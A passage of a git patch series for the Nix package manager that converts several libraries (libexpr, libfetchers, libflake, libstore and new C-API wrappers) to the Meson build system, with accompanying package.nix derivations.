NOTE(Qyriad): Meson doesn't support installing only part of a custom target, so we add + # an install script below which removes parser-tab.cc. + install : true, + install_dir : get_option('includedir') / 'nix', +) + +lexer_tab = custom_target( + input : [ + 'lexer.l', + parser_tab, + ], + output : [ + 'lexer-tab.cc', + 'lexer-tab.hh', + ], + command : [ + 'flex', + '--outfile', + '@OUTPUT0@', + '--header-file=' + '@OUTPUT1@', + '@INPUT0@', + ], + # NOTE(Qyriad): Meson doesn't support installing only part of a custom target, so we add + # an install script below which removes lexer-tab.cc. + install : true, + install_dir : get_option('includedir') / 'nix', +) + +generated_headers = [] +foreach header : [ + 'imported-drv-to-derivation.nix', + 'fetchurl.nix', + 'flake/call-flake.nix', + 'primops/derivation.nix', +] + generated_headers += custom_target( + command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], + input : header, + output : '@PLAINNAME@.gen.hh', + ) +endforeach + + +sources = files( + 'attr-path.cc', + 'attr-set.cc', + 'eval-cache.cc', + 'eval-error.cc', + 'eval-gc.cc', + 'eval-settings.cc', + 'eval.cc', + 'function-trace.cc', + 'get-drvs.cc', + 'json-to-value.cc', + 'nixexpr.cc', + 'paths.cc', + 'primops.cc', + 'primops/context.cc', + 'primops/fetchClosure.cc', + 'primops/fetchMercurial.cc', + 'primops/fetchTree.cc', + 'primops/fromTOML.cc', + 'print-ambiguous.cc', + 'print.cc', + 'search-path.cc', + 'value-to-json.cc', + 'value-to-xml.cc', + 'value/context.cc', +) + +headers = [config_h] + files( + 'attr-path.hh', + 'attr-set.hh', + 'eval-cache.hh', + 'eval-error.hh', + 'eval-gc.hh', + 'eval-inline.hh', + 'eval-settings.hh', + 'eval.hh', + 'function-trace.hh', + 'gc-small-vector.hh', + 'get-drvs.hh', + 'json-to-value.hh', + 'nixexpr.hh', + 'parser-state.hh', + 'pos-idx.hh', + 'pos-table.hh', + 'primops.hh', + 'print-ambiguous.hh', + 'print-options.hh', + 'print.hh', + 'repl-exit-status.hh', + 'search-path.hh', + 'symbol-table.hh', + 'value-to-json.hh', + 'value-to-xml.hh', + 'value.hh', + 'value/context.hh', +) + +this_library = library( + 'nixexpr', + sources, + parser_tab, + lexer_tab, + generated_headers, + dependencies : deps_public + deps_private + deps_other, + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +requires = [] +foreach dep : deps_public_subproject + requires += dep.name() +endforeach +requires += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires, + requires_private : deps_private, + libraries_private : ['-lboost_container', '-lboost_context'], +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_directories('.'), + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : deps_public_subproject + deps_public, +)) diff --git a/src/libexpr/meson.options b/src/libexpr/meson.options new file mode 100644 index 000000000..242d30ea7 --- /dev/null +++ b/src/libexpr/meson.options @@ -0,0 +1,3 @@ +option('gc', type : 'feature', + description : 'enable garbage collection in the Nix expression evaluator (requires Boehm GC)', +) diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix new file mode 100644 index 000000000..223b04042 --- /dev/null +++ b/src/libexpr/package.nix @@ -0,0 +1,130 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util +, nix-store +, nix-fetchers +, boost +, boehmgc +, nlohmann_json + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false + +# Whether to use garbage collection for the Nix language evaluator. +# +# If it is disabled, we just leak memory, but this is not as bad as it +# sounds so long as evaluation just takes places within short-lived +# processes. (When the process exits, the memory is reclaimed; it is +# only leaked *within* the process.) +# +# Temporarily disabled on Windows because the `GC_throw_bad_alloc` +# symbol is missing during linking. +, enableGC ? !stdenv.hostPlatform.isWindows +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-expr"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + boost + ]; + + propagatedBuildInputs = [ + nix-util + nix-store + nix-fetchers + nlohmann_json + ] ++ lib.optional enableGC boehmgc; + + disallowedReferences = [ boost ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + (lib.mesonFeature "gc" enableGC) + ]; + + env = { + # Needed for Meson to find Boost. + # https://github.com/NixOS/nixpkgs/issues/86131. + BOOST_INCLUDEDIR = "${lib.getDev boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib boost}/lib"; + } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + postInstall = + # Remove absolute path to boost libs that ends up in `Libs.private` + # by default, and would clash with out `disallowedReferences`. Part + # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround. + '' + sed -i "$out/lib/pkgconfig/nix-expr.pc" -e 's, ${lib.getLib boost}[^ ]*,,g' + ''; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index fa6b1c4b6..567b73f9a 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -1,4 +1,4 @@ -#include "libfetchers/attrs.hh" +#include "attrs.hh" #include "primops.hh" #include "eval-inline.hh" #include "eval-settings.hh" diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index d7975ac65..c17021527 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -20,27 +20,24 @@ deps_private = [ ] # See note in ../nix-util/meson.build deps_public = [ ] +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + # See note in ../nix-util/meson.build deps_other = [ ] -configdata = configuration_data() - -nix_util = dependency('nix-util') -if nix_util.type_name() == 'internal' - # subproject sadly no good for pkg-config module - deps_other += nix_util -else - deps_public += nix_util -endif - -nix_store = dependency('nix-store') -if nix_store.type_name() == 'internal' - # subproject sadly no good for pkg-config module - deps_other += nix_store -else - deps_public += nix_store -endif - +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-store'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json @@ -113,14 +110,9 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) requires = [] -if nix_util.type_name() == 'internal' - # `requires` cannot contain declared dependencies (from the - # subproject), so we need to do this manually - requires += 'nix-util' -endif -if nix_store.type_name() == 'internal' - requires += 'nix-store' -endif +foreach dep : deps_public_subproject + requires += dep.name() +endforeach requires += deps_public import('pkgconfig').generate( @@ -138,5 +130,5 @@ meson.override_dependency(meson.project_name(), declare_dependency( include_directories : include_directories('.'), link_with : this_library, compile_args : ['-std=c++2a'], - dependencies : [nix_util, nix_store], + dependencies : deps_public_subproject + deps_public, )) diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix index a5583d14c..d2560255e 100644 --- a/src/libfetchers/package.nix +++ b/src/libfetchers/package.nix @@ -38,7 +38,7 @@ let in mkDerivation (finalAttrs: { - pname = "nix-fetchers"; + pname = "nix-flake"; inherit version; src = fileset.toSource { @@ -80,11 +80,6 @@ mkDerivation (finalAttrs: { enableParallelBuilding = true; - postInstall = - # Remove absolute path to boost libs - '' - ''; - separateDebugInfo = !stdenv.hostPlatform.isStatic; # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated diff --git a/src/libflake/.version b/src/libflake/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libflake/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libflake/meson.build b/src/libflake/meson.build new file mode 100644 index 000000000..c0862a484 --- /dev/null +++ b/src/libflake/meson.build @@ -0,0 +1,120 @@ +project('nix-flake', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-fetchers'), + dependency('nix-expr'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +libgit2 = dependency('libgit2') +deps_public += libgit2 + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.h', + '-include', 'config-store.h', + # '-include', 'config-fetchers.h', + '-include', 'config-expr.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'flake-settings.cc', + 'flake/config.cc', + 'flake/flake.cc', + 'flake/flakeref.cc', + 'flake/url-name.cc', + 'flake/lockfile.cc', +) + +headers = files( + 'flake-settings.hh', + 'flake/flake.hh', + 'flake/flakeref.hh', + 'flake/lockfile.hh', + 'flake/url-name.hh', +) + +this_library = library( + 'nixflake', + sources, + dependencies : deps_public + deps_private + deps_other, + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +requires = [] +foreach dep : deps_public_subproject + requires += dep.name() +endforeach +requires += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires, + requires_private : deps_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_directories('.'), + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : deps_public_subproject + deps_public, +)) diff --git a/src/libflake/package.nix b/src/libflake/package.nix new file mode 100644 index 000000000..1280df7b7 --- /dev/null +++ b/src/libflake/package.nix @@ -0,0 +1,99 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util +, nix-store +, nix-fetchers +, nix-expr +, nlohmann_json +, libgit2 +, man + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false + +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-flake"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-store + nix-util + nix-fetchers + nix-expr + nlohmann_json + ]; + + preConfigure = + # "Inline" .version so its not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated + # to work with `strictDeps`. + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*-tab.*" ]; + + hardeningDisable = ["fortify"]; +}) diff --git a/src/libstore/meson.build b/src/libstore/meson.build index d9237c55a..c2384dd78 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -20,6 +20,9 @@ deps_private = [ ] # See note in ../nix-util/meson.build deps_public = [ ] +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + # See note in ../nix-util/meson.build deps_other = [ ] @@ -30,13 +33,17 @@ configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) configdata.set_quoted('SYSTEM', host_machine.system()) -nix_util = dependency('nix-util') -if nix_util.type_name() == 'internal' - # subproject sadly no good for pkg-config module - deps_other += nix_util -else - deps_public += nix_util -endif +foreach nix_dep : [ + dependency('nix-util'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach run_command('ln', '-s', meson.project_build_root() / '__nothing_link_target', @@ -122,13 +129,16 @@ if enable_embedded_sandbox_shell endif generated_headers = [] -foreach header : [ 'schema.sql', 'ca-specific-schema.sql' ] +foreach header : [ + 'schema.sql', + 'ca-specific-schema.sql', +] generated_headers += custom_target( command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ], input : header, output : '@PLAINNAME@.gen.hh', install : true, - install_dir : get_option('includedir') / 'nix' + install_dir : get_option('includedir') / 'nix', ) endforeach @@ -248,7 +258,7 @@ include_dirs = [ include_directories('build'), ] -headers = [config_h] +files( +headers = [config_h] + files( 'binary-cache-store.hh', 'build-result.hh', 'build/derivation-goal.hh', @@ -427,11 +437,9 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) requires = [] -if nix_util.type_name() == 'internal' - # `requires` cannot contain declared dependencies (from the - # subproject), so we need to do this manually - requires += 'nix-util' -endif +foreach dep : deps_public_subproject + requires += dep.name() +endforeach requires += deps_public import('pkgconfig').generate( @@ -450,5 +458,5 @@ meson.override_dependency(meson.project_name(), declare_dependency( include_directories : include_dirs, link_with : this_library, compile_args : ['-std=c++2a'], - dependencies : [nix_util], + dependencies : deps_public_subproject + deps_public, )) diff --git a/src/libstore/package.nix b/src/libstore/package.nix index e118f3cd2..f27dac2f6 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -23,9 +23,6 @@ # Check test coverage of Nix. Probably want to use with at least # one of `doCheck` or `doInstallCheck` enabled. , withCoverageChecks ? false - -# Avoid setting things that would interfere with a functioning devShell -, forDevShell ? false }: let diff --git a/tests/unit/libutil-support/meson.build b/tests/unit/libutil-support/meson.build index c0345a6ee..d5ee8eed7 100644 --- a/tests/unit/libutil-support/meson.build +++ b/tests/unit/libutil-support/meson.build @@ -20,9 +20,27 @@ deps_private = [ ] # See note in ../nix-util/meson.build deps_public = [ ] +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + # See note in ../nix-util/meson.build deps_other = [ ] +foreach nix_dep : [ + dependency('nix-util'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach + +rapidcheck = dependency('rapidcheck') +deps_public += rapidcheck + add_project_arguments( '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', @@ -66,17 +84,6 @@ else linker_export_flags = [] endif -nix_util = dependency('nix-util') -if nix_util.type_name() == 'internal' - # subproject sadly no good for pkg-config module - deps_other += nix_util -else - deps_public += nix_util -endif - -rapidcheck = dependency('rapidcheck') -deps_public += rapidcheck - this_library = library( 'nix-util-test-support', sources, @@ -90,7 +97,11 @@ this_library = library( install_headers(headers, subdir : 'nix', preserve_path : true) -libraries_private = [] +requires = [] +foreach dep : deps_public_subproject + requires += dep.name() +endforeach +requires += deps_public import('pkgconfig').generate( this_library, @@ -99,7 +110,7 @@ import('pkgconfig').generate( description : 'Nix Package Manager', subdirs : ['nix'], extra_cflags : ['-std=c++2a'], - requires : deps_public, + requires : requires, requires_private : deps_private, ) @@ -107,5 +118,5 @@ meson.override_dependency(meson.project_name(), declare_dependency( include_directories : include_dirs, link_with : this_library, compile_args : ['-std=c++2a'], - dependencies : [], + dependencies : deps_public_subproject + deps_public, )) diff --git a/tests/unit/libutil/meson.build b/tests/unit/libutil/meson.build index cc13c4364..3f6e0fe65 100644 --- a/tests/unit/libutil/meson.build +++ b/tests/unit/libutil/meson.build @@ -18,18 +18,57 @@ cxx = meson.get_compiler('cpp') deps_private = [ ] # See note in ../nix-util/meson.build -deps_public = [ ] +deps_private_subproject = [ ] # See note in ../nix-util/meson.build deps_other = [ ] configdata = configuration_data() +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-util-c'), + dependency('nix-util-test-support'), +] + if nix_dep.type_name() == 'internal' + deps_private_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_private += nix_dep + endif +endforeach + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +rapidcheck = dependency('rapidcheck') +deps_private += rapidcheck + +gtest = dependency('gtest', main : true) +deps_private += gtest + +config_h = configure_file( + configuration : configdata, + output : 'config-util-test.h', +) + add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. '-include', 'config-util-test.h', - # '-include', 'config-store.h', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', '-Werror=switch', @@ -46,14 +85,6 @@ add_project_arguments( language : 'cpp', ) -# TODO rename, because it will conflict with downstream projects -configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) - -config_h = configure_file( - configuration : configdata, - output : 'config-util-test.h', -) - sources = files( 'args.cc', 'canon-path.cc', @@ -80,52 +111,11 @@ sources = files( include_dirs = [include_directories('.')] -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif - -nix_util = dependency('nix-util') -if nix_util.type_name() == 'internal' - # subproject sadly no good for pkg-config module - deps_other += nix_util -else - deps_public += nix_util -endif - -nix_util_c = dependency('nix-util-c') -if nix_util_c.type_name() == 'internal' - # subproject sadly no good for pkg-config module - deps_other += nix_util_c -else - deps_public += nix_util_c -endif - -nix_util_test_support = dependency('nix-util-test-support') -if nix_util_test_support.type_name() == 'internal' - # subproject sadly no good for pkg-config module - deps_other += nix_util_test_support -else - deps_public += nix_util_test_support -endif - -rapidcheck = dependency('rapidcheck') -deps_public += rapidcheck - -gtest = dependency('gtest', main : true) -deps_public += gtest this_exe = executable( 'nix-util-test', sources, - dependencies : deps_public + deps_private + deps_other, + dependencies : deps_private_subproject + deps_private + deps_other, include_directories : include_dirs, # TODO: -lrapidcheck, see ../libutil-support/build.meson link_args: linker_export_flags + ['-lrapidcheck'], @@ -139,5 +129,4 @@ meson.override_dependency(meson.project_name(), declare_dependency( include_directories : include_dirs, link_with : this_exe, compile_args : ['-std=c++2a'], - dependencies : [], )) From 4fa8068b78444f691a9a3d3c16efdcfcd540ce9a Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 10:19:03 -0400 Subject: [PATCH 0942/1251] Mesonify other external API --- meson.build | 7 ++ src/libexpr-c/.version | 1 + src/libexpr-c/meson.build | 159 ++++++++++++++++++++++++++++++++++++ src/libexpr/meson.build | 8 +- src/libfetchers/meson.build | 4 +- src/libflake/meson.build | 6 +- src/libstore-c/.version | 1 + src/libstore-c/meson.build | 151 ++++++++++++++++++++++++++++++++++ src/libstore/meson.build | 6 +- src/libutil-c/meson.build | 81 ++++++++++++------ src/libutil/meson.build | 4 +- src/perl/lib/Nix/Store.xs | 4 +- 12 files changed, 392 insertions(+), 40 deletions(-) create mode 120000 src/libexpr-c/.version create mode 100644 src/libexpr-c/meson.build create mode 120000 src/libstore-c/.version create mode 100644 src/libstore-c/meson.build diff --git a/meson.build b/meson.build index 7832eb488..2a3932a40 100644 --- a/meson.build +++ b/meson.build @@ -18,6 +18,8 @@ subproject('external-api-docs') # C wrappers subproject('libutil-c') +subproject('libstore-c') +subproject('libexpr-c') # Language Bindings subproject('perl') @@ -25,3 +27,8 @@ subproject('perl') # Testing subproject('libutil-test-support') subproject('libutil-test') +#subproject('libstore-test-support') +#subproject('libstore-test') +#subproject('libexpr-test-support') +#subproject('libexpr-test') +#subproject('libflake-test') diff --git a/src/libexpr-c/.version b/src/libexpr-c/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libexpr-c/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build new file mode 100644 index 000000000..5abf2b477 --- /dev/null +++ b/src/libexpr-c/meson.build @@ -0,0 +1,159 @@ +project('nix-expr-c', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_private_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +configdata = configuration_data() + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-expr'), +] + if nix_dep.type_name() == 'internal' + deps_private_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_private += nix_dep + endif +endforeach + +foreach nix_dep : [ + dependency('nix-util-c'), + dependency('nix-store-c'), +] + if nix_dep.type_name() == 'internal' + deps_public_subproject += nix_dep + # subproject sadly no good for pkg-config module + deps_other += nix_dep + else + deps_public += nix_dep + endif +endforeach + +config_h = configure_file( + configuration : configdata, + output : 'config-expr.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + + # From C++ libraries, only for internals + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + + # From C libraries, for our public, installed headers too + '-include', 'config-util.h', + '-include', 'config-store.h', + '-include', 'config-expr.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'nix_api_expr.cc', + 'nix_api_external.cc', + 'nix_api_value.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'nix_api_expr.h', + 'nix_api_external.h', + 'nix_api_value.h', +) + +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif + +this_library = library( + 'nixexprc', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +requires_private = [] +foreach dep : deps_private_subproject + requires_private += dep.name() +endforeach +requires_private += deps_private + +requires_public = [] +foreach dep : deps_public_subproject + requires_public += dep.name() +endforeach +requires_public += deps_public + +import('pkgconfig').generate( + this_library, + filebase : meson.project_name(), + name : 'Nix', + description : 'Nix Package Manager', + subdirs : ['nix'], + extra_cflags : ['-std=c++2a'], + requires : requires_public, + requires_private : requires_private, +) + +meson.override_dependency(meson.project_name(), declare_dependency( + include_directories : include_dirs, + link_with : this_library, + compile_args : ['-std=c++2a'], + dependencies : [], +)) diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 8f08decd4..34e4dec3b 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -77,16 +77,16 @@ configdata.set('HAVE_BOEHMGC', bdw_gc.found().to_int()) config_h = configure_file( configuration : configdata, - output : 'config-expr.h', + output : 'config-expr.hh', ) add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. - '-include', 'config-util.h', - '-include', 'config-store.h', + '-include', 'config-util.hh', + '-include', 'config-store.hh', # '-include', 'config-fetchers.h', - '-include', 'config-expr.h', + '-include', 'config-expr.hh', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', '-Werror=switch', diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index c17021527..938ee27d4 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -48,8 +48,8 @@ deps_public += libgit2 add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. - '-include', 'config-util.h', - '-include', 'config-store.h', + '-include', 'config-util.hh', + '-include', 'config-store.hh', # '-include', 'config-fetchers.h', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', diff --git a/src/libflake/meson.build b/src/libflake/meson.build index c0862a484..1c0a3ae77 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -50,10 +50,10 @@ deps_public += libgit2 add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. - '-include', 'config-util.h', - '-include', 'config-store.h', + '-include', 'config-util.hh', + '-include', 'config-store.hh', # '-include', 'config-fetchers.h', - '-include', 'config-expr.h', + '-include', 'config-expr.hh', '-Wno-deprecated-declarations', '-Wimplicit-fallthrough', '-Werror=switch', diff --git a/src/libstore-c/.version b/src/libstore-c/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libstore-c/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build new file mode 100644 index 000000000..049dda0e2 --- /dev/null +++ b/src/libstore-c/meson.build @@ -0,0 +1,151 @@ +project('nix-store-c', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +# See note in ../nix-util/meson.build +deps_private = [ ] + +# See note in ../nix-util/meson.build +deps_private_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_public = [ ] + +# See note in ../nix-util/meson.build +deps_public_subproject = [ ] + +# See note in ../nix-util/meson.build +deps_other = [ ] + +configdata = configuration_data() + +foreach nix_dep : [ + dependency('nix-util'), + dependency('nix-store'), +] + if nix_dep.type_name() == 'internal' + deps_private_subproject += nix_dep + # subproject sadly no good 